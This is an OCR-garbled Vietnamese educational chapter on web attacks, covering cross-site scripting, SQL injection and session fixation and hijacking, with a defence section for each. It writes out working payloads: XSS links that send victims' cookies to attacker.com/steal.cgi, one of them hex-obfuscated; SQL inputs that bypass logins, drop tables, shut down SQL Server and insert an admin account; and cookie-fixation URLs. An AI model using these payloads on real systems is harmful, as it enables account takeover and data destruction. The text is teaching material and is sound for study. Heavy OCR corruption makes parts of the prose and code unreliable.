
. Budce 5: Sau khi nhan dugc thong tin can thiét, hacker c6 thé su dung dé

tham nhap vao tai khoan ctia nguoi dung.

Vi du: Dé khai thac 16 hong trén ing dung hotwired.lycos.com, hacker cé thé thuc

hién nhu sau:

<html>

<head>

<title>Look at this!</title>

</head>

<body>

<a
href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do
cument.location.replace(’http://www.attacker.com/steal.cgi?'+docume
nt.cookie);</script>">M#t phan thwéng hap din dang cho ban</a>
</body>

</html>



http://hotwired.lycos.com/webmonkey/index1.html?tw=
http://www.attacker.com/steal.cgi?'+docume
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Sau khi nguoi ding nhap vao lién két “Mét phan thuwéong hip din dang
ché ban”, cookie trén may nan nhan s& bi danh cip va d6 chinh 1a tham sb truyén

vao cho chuong trinh steal.cgi cua hacker.

http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530
098C20100000000;%20p_unigid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5
901=1019511286

Van dé dat ra 1a ¢6 thé nguoi lap trinh s& bao vé ung dung web cia minh
bang cach loc nhitng ki tu dic biét... Nhung hacker cd thé lgi dung ma hex thay cho
nhiing ki ty dac biét dé tin cong.

Thay thé bang nhimng s6 hex cho nhiing ki tw ASCIL.

Vi du:
http://www.attacker.com/steal.cgi: h -> 0x0068
t-> 0x0074
t-> 0x0074
p -> 0x0070
: -> 0x003A
/ -> 0x002F

Sau day la vi du trong cach dung mé hex trong g dung web:

<html>

<head>

<title>Look at this!</title>

</head>

<body>

<a
href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va
r u = String.fromCharCode(0x0068);u %2B=
String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x003A);

u %2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x002F);

u %2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x0074);

u %2B= String.fromCharCode(0x0074);u %2B=


http://www.attacker.com/steal.cgi:
http://hotwired.lycos.com/webmonkey/index1.html?tw=
http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530
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String.fromCharCode(0x0061);

u %2B= String.fromCharCode(0x0063);u %2B=
String.fromCharCode(0x006B);

u %2B= String.fromCharCode(0x0065);u %2B=
String.fromCharCode(0x0072);

u %2B= String.fromCharCode(0x002E);u %2B=
String.fromCharCode(0x0063);

u %2B= String.fromCharCode(0x006F);u %2B=
String.fromCharCode(0x006D);

u %2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x0073);

u %2B= String.fromCharCode(0x0074);u %2B=
String.fromCharCode(0x0065);

u %2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x006C);

u %2B= String.fromCharCode(0x002E);u %2B=
String.fromCharCode(0x0063);

u %2B= String.fromCharCode(0x0067);u %2B=
String.fromCharCode(0x0069);

u %2B= String.fromCharCode(0x003F);

u %2B=document.cookie;document.location.replace(u);</script>"
onMouseOver="window.status="http://www.hotwired.lycos.com/index2.ht
ml*;return true”

onMouseOut="window.status=";return true">Mat phan thudéng hap dan dang cho
ban </a>

</body>

</html>

- Céch phong chong:
e  V6i nhing dir liéu, thong tin nhap cia nguoi ding, nguoi thiét ké Gmg
dung web cin phai thuc hién vai budc co ban sau:
0 Tao ra danh sach nhitng th¢ HTML dugc phép sir dung.
0 Xoa bo thé <script>
0 Loc ra bat ki mot doan ma JavaScript/Java/VBScript/ActiveX/Flash
Related nao.
0 Loc dau nhay don hay kép.
0 Loc ki tu Null (vi kha nang thém mot doan ma bat ki sau ki tu Null
khién cho tmg dung du da loc bo thé <script> van khong nhan ra do
tmg dung nghi rang chudi da két thic tir ki ty Null nay).


http://www.hotwired.lycos.com/index2.ht
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0 Xo6anhimg ki ty «“>7,“<”
0 Van cho phép nhap nhiing ki tu dic biét nhung s& dugc ma hoa theo
chuan riéng.

e  Dbi véi nguoi ding, can cau hinh lai trinh duyét dé nhic nhé nguoi ding

c6 cho thyc thi ngdén ngir kich ban trén may cia ho hay khong? Tuy vao muc

do tin cay ma nguoi ding s& quyét dinh.

Nhén xét:

Ki thuat XSS khé pho bién va dé dang &p dung, tuy nhién murc d6 thiét hai chi
dirng lai & mirc d¢ tan cong trén may nan nhan thong qua nhiing lién két hay form
lra da0 ma hacker dua dén cho nan nhan. Vi thé, ngoai viéc tmg dung kiém tra tinh
dung dan cua dir liéu trude khi sir dung thi viéc can nhat 1 nguoi ding nén canh
giac trude khi budc vao mot trang web mai. C6 thé nédi, nhd vao sy canh giac cia

nguoi dung thi 90% d& dat dugc su bao mat trong ki thuat nay.

2.6. Chén cau truy van SQL Injection

2.6.1. Khai niém SQL Injection

SQL Injection la cach loi dung nhiing 16 héng trong qua trinh lap trinh web
vé phan truy xuat co so dir liéu. Py khong chi 1a khuyét diém cua riéng SQL
Server ma nd con 1a van dé chung cho todn bd cac co so dir liéu khac nhu Oracle,
MS Access hay IBM DB2.

Khi hacker gtri nhitng dir liéu (thong qua cac form), tmg dung web sé thuc
hién va tra vé cho trinh duyét két qua cau truy van hay nhiing théng bao 15i c6 lién
quan dén co s& dit liéu. Va nhd nhirng thong tin ndy ma hacker biét duoc noi dung
co s dir liéu va tir d6 c6 thé diéu khién toan bo hé thong tmg dung.

2.6.2 Gi6i thi€u mé hinh co sé dir li€u

Pé trinh bay tét hon ndi dung ki thuét ndy, tac gia st dung bang User dé

minh hoa ki thuét tan cong.

Bang 2.3: Bang User

STT | Tén trwong | Rang budc | Kiéu trwong | Kich thuée Dién giai
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1 | tkUsername | Khda chinh Text 50 Mbi ngudi dlng
cd mot account
dé dang nhap

2 tkPassword Text 50 Password dé
dang nhap

Quy udc:

Ngbn ngir 1ap trinh sir dung dé minh hoa trong chuong nay 1a ASP véi co s dit lidu
la SQL Server.

2.6.3 C4c cach tan cong

2.6.3.1. Ki thudt tan céng SOL Injection

Dudi day 1a ki thuat SQL injection don gian nhét, ding dé vugt qua cac form dang
nhap.

Vi du: Gia str ung dung web c¢6 doan ma sau:

SQLQuery= “SELECT tkUsername FROM User WHERE
tkUsername= “” & strUsername & “’ AND Password= ‘" &
tkPassword & “’”

flag= GetQueryResult (SQLQuery)
if flag = *” then
check=FALSE
else
check=TRUE
end if

Poan ma trén kiém tra chudi nhap Username va Password. Néu ton tai trong
bang User thi check=true ngugc lai check=false.

Gia tri nhap vao la:

Username: > OR ©* ="
Password: *OR ¢’ ="

Cau lénh SQL c6 cau trac nhu sau:



36

SELECT tkUsername FROM User WHERE tkUsername= > OR ¢ =" AND

Password= > OR ="’

Cau lénh so sanh trén ludn ludén dang (vi ©* ludn bang **). Do d6 cau diéu
kién trong ménh ¢ WHERE lu6n dung. Gia trj tén nguoi sir dung ctua dong dau tién
trong bang sé duogc chon.

Két hop véi ki tr dic biét ciia SQL :

° Ki tuy “;” : danh dau két thac 1 cau truy van
e kit “-": 4n chudi ki ty phia sau né trén cing 1 dong
Vi du:

Username: ’; drop table User--

Password:

Cau lénh SQL c6 cau trac nhu sau:

SELECT tkUsername FROM User WHERE tkUsername= *’;drop table
User-- AND Password= “"" & tkPassword & “*”

Vi cau 1énh trén thi bang user sé bi x6a hoan toan.
Vi du: Mot vi du khac str dung ky tu dic biét SQL dé tham nhap vao hé

thdng nhu sau:

Username: admin’--

Password:

Céau lénh SQL nhu sau:

SELECT tkUsername FROM Use WHERE tkUsername= ‘admin’-- AND

Password= ‘" & tkPassword & “’’

Cau lénh trén cho phép dang nhap vao hé théng voi quyén admin ma khdng
doi hoi password.
2.6.3.2 Tdn céng dia vao cau lénh SELECT
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Ngoai ki thuat don gian trén, viéc tn cong thuong dua trén nhimg thong bao
16i dé 1y thong tin vé bang ciing nhu nhimg truong trong bang. Bé lam duogc diéu
nay, can phai hiéu nhimng thong bao 16i va tir d6 chinh sira ndi dung nhap cho phi
hop.

Khai ni¢m Direct Injection: Nhimg ddi s6 dugc thém vao trong ciu lénh
ma khéng nam giira nhitng dau nhay don hay diu ngoic kép 1a truong hop direct
injection.

Vi du:

StrSQL="SELECT tkUsername FROM User WHERE tkUsername="& tName

Khai niém Quote Injection: Nhiing truong hop ddi sé dugc nhap vao déu
dugc tmg dung cho vao gitra hai ddu nhay don hay ngoic kép 1a truong hop Quote
Injection.

Vidu:

StrSQL="SELECT tkUsername FROM User WHERE tkUsername=""& tName
& (1222}

Dé vo hiéu hda dau nhay va thay do6i cau lénh ma van giit dugc ct phap
dung, chudi ma chén thém vao phai c6 mot ddu nhdy don trudc chudi ki ty dugc

cheén vao va ¢ cudi cau 1énh phai c6 mot ddu nhay don, chang han nhu sau:

StrSQL="SELECT tkUsername FROM User WHERE tkUsername=" and

Néu da thuc hién nhu trén ma thong bao 15i c6 lién quan dén dau “(“ thi
trong chudi chén vao phai co «)”:
Vi du:

StrSQL="“SELECT tkUsername FROM User WHERE (tkUsername=""& tName
&)

Thi ct phép hop 1€ nhu sau:
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StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=")or

Ngoai ra ky tu % thuong dugc dung trong nhimg trudng hop tim kiém thong
tin:
Vi du:

StrSQL="SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
tName & “*”

2.6.3.3 Tdn cong da vao cau lénh HAVING

HAVING sir dung cing chung vi ménh ¢¢ GROUP BY 1a phuong phap
hiru hiéu dé nhan thong tin bang, truong. .. va s& duoc ban sau hon trong phan 4.
2.6.3.4 Tdn cong dira vao cau lénh két hop UNION

Lénh SELECT duoc dung dé lay thong tin tir co so dit liéu. Thong thuong vi
tri c6 thé duge chén thém vao mot ménh ¢& SELECT la sau WHERE. D¢ c6 thé trd
vé nhiéu dong thdng tin trong bang, thay do6i diéu kién trong ménh d¢ WHERE bang
cach chen thém UNION SELECT.

Vi du:

StrSQL="SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
tName & “"UNION SELECT tkPassword from User”

Cau lénh trén tra vé mot tap két qua 1a su két hop giita tkUsername véi
tkPassword trong bang User.
Ghi chu:
e S4 cot trong hai cau SELECT phai khép véi nhau. Nghia 12 s6 luong cot
trong cau lénh SELECT ban dau va cau lénh UNION SELECT phia sau bang
nhau va cung kiéu.
e Nho vao I8i ct phap tra vé sau khi chén thém cau lénh UNION ma c6
thé biét kiéu cuia mdi trudng.
Sau day la nhitng vi du dugc thyc hién khi khong biét noi dung co s¢ dir ligu
dua vao HAVING, GROUP BY, UNION:
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Vi du: Nhic lai cdu truy van can dé dang nhép:

SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE
tkUsername= “” & strUsername & “’ AND Password= ‘" & tkPassword
& [1%2}]

Pau tién, dé biét tén bang va tén truong ma cau truy véan sir dung, sir dung
cau diéu kién “having” , nhu vi du sau:

Gia tri nhap vao:

Username: “having 1=1--

Loi phat sinh:

[Microsoft][ODBC SQL Server Driver][ SQL Server] Column
'User.tkUsername’ is invalid in the select list because it is not contained in an

aggregate function and there is no GROUP BY clause.

Nho vao 16i phat sinh ndy ma biét duoc bang str dung trong cdu truy van 1a
User va trong bang ton tai mot truong tén 1a tkUsername.

Sau do su dung GROUP BY:

Vi du:

Username: ‘group by User.tkUsername having 1=1--

Ldi phat sinh:

[Microsoft][ODBC SQL Server Driver][ SQL Server] Column
‘User.tkPassword" is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.

Nhu vay tkPassword [a mot truong ctiia bang User va dugc st dung trong cau
truy van.

Tiép tuc dung GROUP BY cho dén khi biét dugc tat ca cac trudng trong
bang User tham gia vao cau truy van. Khi khong con béo 15i cii phdp GROUP BY
nita thi chuyén qua cong doan kiém tra kiéu cua timg truong trong bang.

Lic nay UNION duogc st dung:
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Vi du:

Username: "union select sum(tkUsername) from User

Lénh sum 14 Iénh tinh tong cho dbi sé bén trong dau ngodc. Ddi s6 phai 1a

kiéu sb. Néu dbi s6 khong 1a kiéu s6 thi phét sinh 16i nhu sau:

[Microsoft][ODBC SQL Server Driver][ SQL Server] The Sum or average

aggregate operation cannot take a varchar data type as an argument.

Nhu vay véi thong diép 18i nhu trén thi tkUsername chic chan phai 13 kiéu
“varchar”.

Vi phuong phép trén, dé dang xac dinh duoc kiéu cta ting truong trong
bang. Sau khi ¢4 nhan day du trong tin trén thi hacker dé dang tu thém théng tin vao
bang User.

Vi du:

Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, *’)--

2.6.3.5 Tdn cong dya vao lénh INSERT

Tir khoa INSERT dung dé dwa thong tin vao co so dir liéu. Thong thuong
cau Iénh INSERT dugc dung trong cac truong hop nhu: thong tin dang ki nguoi su
dung, guestbook...

Ki thuat «;”, “-- duwgc dung nhu da tung dung véi cau 1énh SELECT, phai
dam bao ding sd lugng va kiéu gia tri duge nhap vao nham tranh 18i vé ¢l phap
(néu khong xac dinh dugc kiéu dir liéu co thé nhap tat ca 14 so).

Vi du:

SQLString= “INSERT INTO User VALUES (*” & strUsername & **, " &
strName& “’, *” & strPassWord & “’,””& strLimitSize & “*)”

2.6.3.6 Tdn cong dira vao STORED PROCEDURE
Stored Procedure dugc st dung trong 1ap trinh web véi muc dich giam sy
phirc tap trong tmg dung va tranh sy tdn cong trong ki thuat SQL Injection. Tuy

nhién hacker van c6 thé loi dung nhiing Stored Procedure dé tan cong vao hé thong.
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Vi du: Stored procedure sp_login gém hai tham s 13 username va password.

Néu nhap:

Username: abc

Password: *;shutdown--

Lénh goi stored procedure nhu sau:

exec sp_login “abc’,*’;shutdown--’

Lénh shutdown thuc hién dimmg SQL Server ngay lap tirc.

2.6.4 Cach phong chéng

e  Trong hau hét trinh duyét, nhimg ki tuy nén dugc ma hda trén dia chi
URL trude khi dugc str dung.

e Viéc tin cong theo SQL Injection dya vao nhimg cau thong bao 18i do d6
viéc phong chdng hay nhat van 1a khdng cho hién thi nhiing thong diép
16i cho nguoi ding bang cach thay thé nhiing 16i thong béo bang 1 trang
do nguoi phat trién thiét ké mdi khi 18i xay ra trén ung dung.

e  Kiém tra ki gia tri nhap vao cua ngudi dung, thay thé nhiing ki tu nhu *

. Hay loai bo cac ki tw meta nhu ““,",/,\,;* va cac ki tu extend nhu NULL,
CR, LF,... trong céc string nhan dugc tur:

0 Dir liéu nhdp do nguoi dung d¢ trinh
o Céc tham s6 tir URL
0 Cac gia tri tir cookie

e  Dbi voi cac gia tri numeric, hdy chuyén n6 sang integer trude khi thyc
hién cau truy van SQL, hodc ding ISNUMERIC dé chac chan n6 1a mot
s6 integer.

e  Dung thuat todn dé ma hda dir licu.

2.6.4.1 Kiém tra dit liéu
Kiém tra tinh dung dan cua dir liéu 1a 1 van dé phtc tap va thuong chua dugc

quan tdm dung murc trong cac ung dung. Khuynh huéng cia viéc kiém tra tinh ding
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din cua dir liéu khong phai 14 chi can thém maot sé chirc nang vao ng dung, ma
phai kiém tra mot cach tong quat nhanh chéng dé dat duoc muc dich.

Nhiing tom tat sau day s& ban vé viéc kiém tra tinh ding dén cia dir liéu,
cling véi vi du mau dé minh hoa cho van dé nay. C6 ba giai phap tiép can van d¢
nay:

e  Cb ging kiém tra va chinh stra dé 1am cho dit liéu hop 1¢é.

e Loai bo nhiing dit liéu bat hop 1¢.

e Chi chap nhan nhiing dir liéu hop 1.

Giai phap 1: Khd thyc hién

e  Thu nhat: ngudi lap trinh khong can thiét phai biét tat ca dir liéu bat hop

1, boi vi nhitng dang dit liéu bat hop 1é rat da dang.

e  Thu hai, 1a van d¢ ciia truong hop bi tin cong 2 tang (second-oder SQL

injection) trong viéc lay dir lidu tir hé thong ra.

Giai phép 2: bi vo hiéu trong cac truong hop nhu giai phap 1 1a do: Dir liéu bat
hop 18 ludn ludn thay ddi va cling véi viée phat trién cac kiéu tin cong moi.

Giai phap 3: tot hon hai giai phap kia, nhung s& gap mot s6 han ché khi cai
dat. Cach bao mat tot nhat 1a két hop ca giai phap 2 va 3. Mot vi du cho sy can thiét
két hop 2-3 la dau ndi giira ho va tén “Quentin Bassington-Bassington” phai cho
phép dau gach ngang trong bo dinh nghia dir liéu hop 1¢, nhung chudi ki tyr “-- Ia
mot chudi ki tu diic biét trong SQL server.

Vi du néu c6 bo loc dé :
° Loc bo nhitng dir liéu bat hop 18 nhu *--*,’select’ va ‘union’.

e Mot ham Kiém soat dé loai bo dau nhay don thi c6 thé d6i phé nhu sau.

uni’on se’lect @ @version-‘-

o Mot so cach cai dat cac chire nang kiém tra dit li¢u co ban.

Céch 1: Thay thé dau nhay don:
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function escape( input )
input = replace(input, ", ")
escape = input

end function

Céch 2: Tir chdi dir liéu bat hop 16:

function validate_string( input )

Cinsert”,

known_bad = array("select update”,"delete", "drop","--",

")

validate_string = true
for i = Ibound( known_bad ) to ubound( known_bad )
if (instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next

end function

Céch 3: Chi chap nhan dit liéu hop 1&
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function validatepassword( input )

good_password_chars =
"abcdefghijkimnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY Z0
123456789"

validatepassword = true
fori=1to len(input)
c =mid( input, i, 1)
if ( InStr( good_password_chars, ¢ ) = 0) then
validatepassword = false
exit function
end if
next

end function

2.6.4.2 Khoéa chat SQL Server (SQL ServerLockdown)

Mot phuong phap bao mat & mirc do quan tri co s¢ dir liéu. Pay 1a mot danh

sach céc cong viéc can lam dé bao vé SQL server:

e  Xac dinh cac phuong phap két ndi dén server: DUng tién ich Network

Utility dé kiém tra rang chi c6 cac thu vién mang dang ding la hoat

dong.
e  Kiém tra tit ca cac tai khoan co trong SQL Server.
0 Chi tao tai khoan c6 quyén thap cho cac ing dung.
0 Loai bo nhiing tai khoan khong can thiét.
o bam bao réng tat ca tai khoan c6 mot mat khau hop 1§,...

e  Kiém tra cac doi tuong ton tai.

0 Nhiéu extended stored procedure co thé dugc x6a bo mot cach an toan.

Néu diéu nay dugc thuc hién, thi cling nén xem Xét viéc loai bo ludn

nhing tap tin .dll chira ma cua cac extended stored procedure

0 X04 bo tat ca co s dir liéu mau nhu “northwind” va “pubs”

0 Xoba cac stored procedure khong dung nhu: master..xp cmdshell,

xp_startmail, xp_sendmail, sp_makewebtask.
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e  Kiém tra nhiing tai khoan nao c6 thé truy xuat dén nhitng ddi tugng nao:
Déi voi nhitng tai khoan ctia mot tng dung nao d6 dung dé truy xuét co
s& dir lidu thi chi dugce cap nhitng quyén han can thiét ti thiéu dé truy
xuat dén nhimg ddi tugng né can ding.

e  Kiém tra 16p sta chita ciia server: C mot s cach tin cong nhu “buffer
overflow”, “format string” thuong cha y dén 16p bao vé nay.

e  Kiém tra c4c phién lam viéc trén server.

e  Thay d6i “Startup va chay SQL Server” ¢ mirc nguoi ding quyén han

thap trong SQL Server Security.
2.7 Chiém hiru phién lam viéc (Session Management) [7]

2.7.1 Tong quan vé Session ID

Nhu da dé cap dén Session trong phan trude, session dung dé luu trir trang
thai 1am viéc giira trinh duyét va trinh chu. Session ID ¢6 thé dugc luu trit trong
cookie hay dugc nhiing vao dia chi URL hay trong bién an ciia form. Mbi kiéu luu
tritr déu c6 uu va khuyét diém, nhung qua thuc té cookie van 13 lra chon tot nhat, va
1a phuong phép an toan nhat.

Thong thuong, sau khi nguoi dung dugc ching thuc dua trén nhiing thong
tin c4 nhan nhu tén/mét khau, session ID duoc xem nhu mdt mat khau tinh tam thoi
cho nhiing lan yéu cau tiép theo. Diéu nay da khién cho Session ID la myc tiéu I6n
cho nhiing hacker. Trong nhiéu trudng hop, hacker gianh dugc session ID hop 1¢
cua ngudi dung dé tir d6 dot nhap vao phién 1am viéc ciia ho. XSS ciing 1a mot cach
tan cong c6 thé chiém duoc session ID luu trit trong cookie. Cach tan cdng nay goi
la “session hijacking”. Tan cong vao mot phién lam viéc thuong duoc thuc hién
theo 2 kiéu chinh sau:

e  An dinh phién lam viéc.

e  Danh cip phién lam viéc.

2.7.2 An dinh phién lam viéc

Trong Kiéu tan cong an dinh mot phién lam viéc, hacker 4n dinh sin session
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ID cho nan nhén trude khi ho dang nhap vao hé théng. Sau d6, hacker s& sir dung
session ID nay dé budc vao phién 1am viéc ctia nan nhan do.

TOm tat qua trinh tan cong:

e Budc 1: Thiét lap session ID. Hé thong quan li session theo 2 hudng:
+ Hudng ty do: chép nhan bat ki mot session ID, néu chua ton tai session thi tao
Ma&1 mot session 1D.
+ Huong gidi han: chi chdp nhan session ID nao d4 dang ki trudc d6. V6i hé thong
huéng tu do hacker chi can thiét 1ap mot session ID bat ki, nhd va sau d6 sir dung
lai session ID ndy. O huéng gidi han, hacker phai dang ki mot session ID véi ung
dung.

Phu thudc vao quy trinh quan li phién lam viéc ma hacker luu trir thoi gian
séng cua phién lam viéc cho dén khi nan nhan ding nhap vao hé théng. Thong
thuong mot phién 1am viéc khong ton tai vo han dinh. Hé thdng s& ty dong huy bo
phién 1am viéc néu n6 khong thuc hién mot thao tic ndo (thoi gian nhan rdi) hodc
hét han dinh. Do d6 budc 1 1a ké tan cong sé bao tri phién 1am viéc bang cach gui
yéu cau dén server.

@ Thiét lap phién lam viéc )\ _

\ o~
A .
Bao tri phién lam viéc ) :
[ ! '
! ‘ ’

(2) An dinh phién lam viéo ) e
@ D6t nhap phién lam viée )

Hinh 2.6: So lugc qué trinh tin cong ngudi dung bang k§y thuat Session

e Budc 2: Goi ID nay dén trinh duyét nan nhan.
Hacker giri session ID vira tao dén ngudi ding va viée trao d6i ID session con
tdy vao ung dung ma c6 thé qua URL, bién an form hay cookie. Céc cach tin cong

théng dung gom:
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0 Tén cong session ID trén tham s6 URL.

0 Tén cong session ID bang bién an form.

0 Tén cong session ID trong cookie.

e Budc 3: Dot nhap vao phién lam viéc ctia nan nhan.
Sau khi nan nhan dang nhap vao hé thong qua session ID d& dugc chi dinh sin va
chua thoét khoi tmg dung, hacker liic ndy bat dau dung session ID d6 dé budc vao
phién lam viéc ciia nan nhan.
G:}_Thié't [Ap phign 1am vigc )

binh thuing ,0‘ Kigl quin Iy , nghiém ngat
N phign lam vigs W
( Chon mnt session|l ) ( Tao mat phién Bm vige )

ngﬂu nhién mdi trén server muyc tiéo

Ldy cessionlD cia

phiéEn Bm viec nay
Phign lam vigc
het han

Gil' phign Iam vide fin i
ng thii g&n gifi cde yeu . &N

An dinh phign am viée

dfi = URL /0 ché van chuydn™, bin dn dang form
N, sessionlD S

h' o dﬂng ddng nhap Rif ngUa ding dang nhd

Ing dia chl cla kd tdn con cooki bdng form cia ke tin cong
ong scoss- 5|te scripting Chén thém nzh: the mefa
e 130 oonkia df tan EIIIkIE
( :5 Bot nhdp phign lam vigs )
e
@Ui naudi ding Adng nhapD
@1 nhap wvao phign Am ui@

Hinh 2.7: M0 ta chi tiét qua trinh thuc hién tin cong nguoi dung bang ki thuat an
dinh phién lam viéc
2.7.2.1 Tan céng Session ID trén tham s6 URL
Hacker guri mot lién két yéu cau nguoi dung diang nhap vao hé théng may dich véi

sessionID d& duoc 4n dinh sén trén URL. Vi du:
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http://online.worldbank.com/login.jsp?sessionid=1234

K¢ tan cong

hﬂp:/ﬁ’online%rldhm]k.com
/login.jsp?sessionid=1234

@ GET/login.jsp?sessionid=1234
@ username & password

Nguoi ding online.worldbank.com

Hinh 2.8: Téan cong thong qua tham sé6 URL

- Hacker m¢ dich vy tryc tuyén cioa ngan hang théng qua dia chi
online.worldbank.com
- Nhan duge mot session ID tir trinh cha dé xac dinh phién lam viéc cua hacker.
Vi du session ID c¢6 gia tri 1a 1234.
- Sau d6 hacker s& tim cach giri mot lién két dén mot nguoi ding nao d6 co tai
khoan trong ngan hang nay. Nhiing lién két d6 thuong 1a dan dén trang dang nhap
vao tadi  khoan trong ngdn  hang, vi du lién  két 14
http://online.workbank.com/login.jsp?sessionid=1234, dé lira ngudi ding 1am viéc
trong phién 1am viéc ctia hackerkhi ngudi ding nhan dugc lién két nay.
- Nguoi ding bi mac lira va mé tng dung web bang lién két ctia hacker. Do da
c6 session ID (cua hacker) nén trinh chu sé khong tao mét session ID mdi.
- Nguoi ding van tiép tuc diang nhap voi thong tin ciia minh dé quan ly tai
khoan.
- Khi d6 hacker s& vao tai khoan cua ngudi ding ma khdng can phai dang nhap
Vi ¢0 cung phién lam viéc.
Nhén xét: Cach tan cong nay doi hoi ing dung phai tao session ID ngay khi ngudi
dung str dung tmg dung. D& bi phat hién béi ngudi ding.
2.7.2.2 Tdn céng Session ID trong bién an form

Ki thuat ndy ciing tuong tu nhu ki thuat bién 4n form, nghia 1a sau khi hacker

xem ma HTML cua trang 3eb, nhan thay session ID dugc dit trong bién an form,


http://online.worldbank.com/login.jsp?sessionid=1234
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hacker s& giri mot sessionID ciing trén URL dén nguoi ding hoic mot trang web
giong trang dich nhung véi bién an form mang gia tri 4n dinh san.

Nhan xét: Phuong phap nay ciing khong kha thi va cling dé bi phat hién nhu
phuong phap trén.
2.7.2.3 Tdn céng Session ID trong cookie

Béng viéc lo1 dung cookie, hacker c6 ba cach dé dwa mot session ID dén
trinh duyét ctia nan nhan:

e Sir dung ngdn ngir kich ban(Javascript, VBscript..) dé thiét 1ap mot
cookie trong trinh duyét cia nan nhan.

e Sir dung thé <META> dé thiét lap thudc tinh Set-Cookie.

e Sir dung Set-Cookie cua HTTP header tra 101
Cu thé la:

e Thiét 1ap mot cookie trén trinh duyét bang ngon ngit kich ban:

Hau hét trinh duyét déu hd tro cdc ngdn ngir kich ban thyc thi trén trinh
duyét nhu Javascript, VBScript. Ca hai ngdn ngit ndy ¢ thé thiét 1ap mot cookie
cho trinh duyét bang cach thiét lap gia tri “document.cookie”.

Vi du:

http://online.workbank.com/<script>document.cookie=

“sessionid=1234;  domain=.workbank.com”;</script>.idc

Bén canh d6, hacker co thé thiét lap thoi gian sdng cho cookie, domain
cookie... va cach nay phl hop véi nhimg hé thong hudng “tu do”. Vi du domain
nao thudc .workbank.com déu c6 thé doc duoc gié tri cookie nay.

e Dung thé <META> vdi thudce tinh Set-Cookie:

Ung dung ciing c6 thé thiét 1ap cookie cho trinh duyét bang thé <META>
trong HTML.
Vi du:

< meta http-equiv= Set-Cookie content="sessionid=1234">

Meta tag Injection (Thém thé meta):


http://online.workbank.com/
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V6i nhimng hé thong kiém tra d6i s6 voi thé <SCRIPT> thi ki thuat XSS gap
nhiéu kho khan, do d6 thém thé <META> 1a phuong phap kha hiru hiéu cho phép
thao tac trén cookie. Thong thuong thé <META> duoc dat gilra thé
<HEAD></HEAD> nhung né van c6 thé dugc xir i néu dat bat cir dau trong trang
HTML.

Vi du:

http://online.workbank.dom/<meta%20http-equiv = Set-
Cookie%20content="sessionid=1234;%20 Expires=Friday,
%201-Jan-2010%2000:00:00%20GMT>.idc

Phuong phap nay chiém uu thé hon XSS ¢ chd khong bi pha hily trong IE (
khong cho phép thao tdc cac ngon nglr kich ban trén trinh duyét), ngoai trir thé
<META REFRESH>
e Thiét 1ap cookie dung thudc tinh Set-Cookie trong header HTTP
response: Cach nay thiét 1ap mot cookie cho trinh duyét bang cach ding Set-
Cookie trong header HTTP théng qua ki thuat tan cong DNS server, ...

2.7.2.4 Céach phong chong

Trudc hét ciing can nodi rd rang viéc phong chong kiéu tin cong an dinh
session ID nay khong thudc trach nhiém cua trinh chu Webserver, vi trinh chu chi
cung cép API quan li phién lam viéc cho tng dung. Vi thé, chi tmg dung mdi can c6
nhiing bién phap phong chdng lai kiéu tn cong nay.

e  Bién phép 1: Chdng viéc dang nhap véi mot session ID ¢6 sdn Theo kiéu
tAn cong ndy, ngudi ding dang nhap vao hé théng thong qua mot session ID
do hacker tao sin thay vi cho trinh chi tao méi, do d6 dé c6 thé phong chéng,
tmg dung phai hily bo session ID duoc cung cip badi trinh duyét cua ngudi
dung khi dang nhap va ludn tao mét session ID mai khi nguoi dung dang nhap
thanh cong.

e  Bién phap 2: Phong chong nhiing hacker bén ngoai hé thong Viéc tao
mg dung trén hé thong theo hudng gidi han (chi tao mot session ID méi cho
nguoi ding sau khi ho thanh cong) s& khién cho nhiing hacker khong phai 1a

nguoi ding hop 1¢ ciia hé thong khong thé sir dung phuong phép tan cong nay.


http://online.workbank.dom/
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J Bi¢n phép 3: Gidi han pham vi tmg dung cuia session ID.
0 Két hop Session ID véi dia chi cua trinh duygét.
0  Két hop Session ID véi thong tin chimg thuc duoc mé hda SSL cua
nguoi dung.
0  Xoa bo session khi nguoi ding thoat khoi hé thong hay hét hiéu
luc, co thé thyc hién trén trinh chii hodc trinh duyét (cookie).
0  Nguoi str dung phai dung ché d6 thoat khoi hé thong dé xéa bo
session hién thoi va c6 thé nhitng session ID con luu lai trén hé thong khi
ho quén thot ra ngoai nhig lan trude.
0  Thiét 1ap thoi gian hét hiéu luc cho session, tranh truong hop

hacker c6 thé duy tri session va sir dung n6 lau dai.

2.7.3 Panh cip phién lam vige

Khéc véi kiéu tan cong an dinh phién 1am viéc, hacker danh cap mot session
ID ctia ngudi dung khi ho dang trong phién lam viéc ctia minh. Va dé co6 thé danh
cip session ID ctia ngudi dung, hacker ¢ thé dung nhimg phuong phép sau:

e  Du doéan phién lam viéc.
e  VEét can phién lam viéc.
e  Dung doan ma danh cap phién lam viéc.
2.7.3.1 Tdn céng kiéu dw dodn phién lam viéc (Prediction sessionID)

Hacker phai 12 ngudi ding hop 16 cua hé théng, sau vai lan ding nhap vao hé
thdng, hacker xem xét cic gia tri session ID nhan duoc, tim ra qui luat phat sinh va
tir d6 co thé doan dugc gia tri cia mot phién 1am viéc cua nguoi ding ké tiép.
2.7.3.2. Tan cong kiéu vét can phién lam viéc (Brute force ID)

Hacker c6 thé tu tao mot chuong trinh guri nhidu yéu cau trong mot khoang
thoi gian dén trinh chii. Mdi mot yéu cau kém theo mot session ID dé tim cac
session ID dang ton tai. Hacker dya vao thdi quen caa nhiing nha phét trién tng
